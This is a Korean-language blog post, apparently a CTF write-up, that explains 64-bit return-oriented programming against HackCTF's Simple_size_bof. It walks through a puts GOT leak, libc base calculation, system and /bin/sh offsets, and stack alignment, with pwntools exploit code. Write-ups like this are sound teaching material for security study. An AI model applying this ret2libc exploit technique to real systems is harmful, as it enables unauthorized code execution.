HOME
home
CV News
home

64Bit ROP

속성
SYSTEM
날짜
ROP(Return Oriented Programming)는 스택에서의 실행권한이 없는 경우 쉘명령어를 실행할 수 없기 때문에 실행권한이 있는 시스템영역으로 접근하여 쉘명령어를 실행하기위한 기법이며 연속적으로 함수를 호출하거나 ESP의 크기를 증가시켜 임의의 코드를 실행할 수 있다.
64bit 운영체제에서는 인자값을 스택이 아닌 레지스터에 저장하기 때문에 레지스터 gadget을 사용해야 하며 사용하고자 하는 함수의 인자값과 gadget의 인자값이 같아야 한다.
rdi : 첫번째인자rsi: 두번째인자 rdx: 세번째인자 rcx: 네번째인자 r8: 다섯번째인자 r9: 여섯번째인자
ex) read(int fd, void *buf, size_t count) → pop pop pop ret   
puts(char *str) → pop ret
진행하기 전 사전 지식으로 함수가 호출되는 형태를 알아야 한다. puts함수를 예로 들면 호출은 pust@plt가 got를 호출하며 실제 함수의 주소는 got가 가지고 있다는 것을 알아야 한다.
본 문제에서는 puts함수가 사용되고 있어 puts함수를 이용하였으며 공격 플로우는 위 그림과 같다. 먼저 main함수에서 puts함수를 호출하게 되면 buf + SFP를 임의의 값으로 채우고 RET가 rdi 레지스터의 주소를 가리키게 한다. 다음 rdi는 인자값을 1개를 받는 pop rdi, ret 형태이므로 pust의 실제 주소(got)를 넣고 plt값을 넣어 실행하게 한 후 메인으로 리턴시켜 프로그램을 재 실행한다.
해당 문제는 HackCTF의 Simple_size_buf문제 풀이이다.
먼저 gadget의 주소를 구한다. 레지스터의 첫번째 인자 값인 pop rdi를 gadget이라고 하며 해당 주소값을(0x400703) 저장한다.
다음 gdb명령을 이용하여 main에 브레이크 포인트를 걸고 실행 후 info proc map 명령을 이용하여 해당 OS에서 사용하고 있는 시스템 라이브러리 파일을 확인한다.
디컴파일하여 메인함수 확인 시 버퍼의 크기가 0x6d30(27,952)인 것을 확인할 수 있다.
from pwn import * p = process('./Simple_size_bof') e = ELF('./Simple_size_bof') #실행파일 라이브러리 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') #시스템 라이브러리 puts_got = e.got['puts'] #puts@got를 자동으로 구함 puts_plt = e.plt['puts'] #puts@plt를 자동으로 구함 puts_offset = libc.symbols['puts'] main = e.symbols['main'] system_offset = libc.symbols['system'] prdi = 0x400703 # gadget (pop rdi) ret = 0x40069c binsh_offset = list(libc.search(b"/bin/sh"))[0] p.recvline() pay = b'A' * 27960 #dumy 값 pay += p64(prdi) #gadget pay += p64(puts_got) #pust의 실제 주소를 pay += p64(puts_plt) #plt에 저장하여 함수 호출 pay += p64(main) #메인으로 이동 p.sendline(pay) p.recvline() puts_addr = u64(p.recvuntil(b'\x7f').ljust(8,b'\x00')) print(puts_addr)
JavaScript
복사
스택을 가득 채운 후 RET의 값에 구해온 gadget의 주소를 입력하여 스택에 추가 후 puts의 실제 주소를 인자값으로 넣어주고 plt주소를 넣어 실행하고 메인함수로 이동한다.
메인함수로 다시 리턴시키는 이유는 puts함수가 한번만 실행되며 실행할때마다 주소가 바뀌기 때문에 되기 때문에 첫 호출에서 각각 필요한 함수나 라이브러리의 주소를 읽어들이고 두번째 실행 시 구해진 주소를 통해 공격을 진행 하기 위해서 이다.
실행 시 puts의 실제 주소(0x7f4212430ed0)를 확인할 수 있으며 시스템 라이브러리에서 구한 puts_offset(0x84ed0)의 값을 빼서 시스템 함수의 베이스 주소를 구한다.
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') puts_offset = libc.symbols['puts'] #puts의 상대주소를 구함 main = e.symbols['main'] system_offset = libc.symbols['system'] #시스템 상대주소를 구함 binsh_offset = list(libc.search(b"/bin/sh"))[0] #시스템 영역의 /bin/sh의 주소를 구함 p.recvline() pay = b'A' * 27960 pay += p64(prdi) pay += p64(puts_got) pay += p64(puts_plt) pay += p64(main) p.sendline(pay) p.recvline() puts_addr = u64(p.recvuntil(b'\x7f').ljust(8,b'\x00')) #puts의 절대 주소를 구함 libc_base = puts_addr - puts_offset #pust의 절대주소 – 상대주소 system_addr = libc_base + system_offset #구해진 베이스 주소 + 시스템 상대주소 binsh_addr = libc_base + binsh_offset #베이스 주소 + /bin/sh의 상대주소
JavaScript
복사
구해진 pust의 절대주소를 이용하여 라이브러리 베이스 주소를 구한 뒤 상대주소들을 더하여 필요한 시스템주소와 /bin/sh의 주소를 구한다.
두번째 공격코드를 작성하여 실행 시 공격이 성공하지 않는다.
이유는 Ubuntu 18.04부터 do_syste()에 movaps 인스트럭션이 추가되어 64bit에선 16Byte로 Stack alignment를 지켜야 하기 때문이다. Stack alignment가 깨져있으면 인스트럭션을 실행하다가 Segmentation Fault에러가 나면서 종료하게 된다. 스택이 깨져있으면 일시적으로 동작하는데 문제는 없기 때문에 그대로 실행하고 ret이 실행되면서 스택을 바로 잡아주게 된다.
스택이 깨지는지 확인은 직접 해야 하며 gdb명령을 이용해 함수가 호출되는 부분에 Step into로 접근하여 스택의 주소를 확인한다. puts함수 실행 시 스택의 주소가 0x7ffffff7688이며 10진수로 변환하여 16으로 나눈다.
140,737,488,320,136 ÷ 16 = 8,796,093,020,008.5 나눈 결과가 16의 배수가 되지 않음으로 스택이 깨졌음을 확인할 수 있다.
두번째 페이로드에서 함수호출 직전에 프로그램에서 사용되고있는 임의의 ret주소를 입력해 스택을 맞춰주는 코드를 추가한다.
최종 페이로드를 실행 시 쉘 권한을 획득한 것을 확인할 수 있다.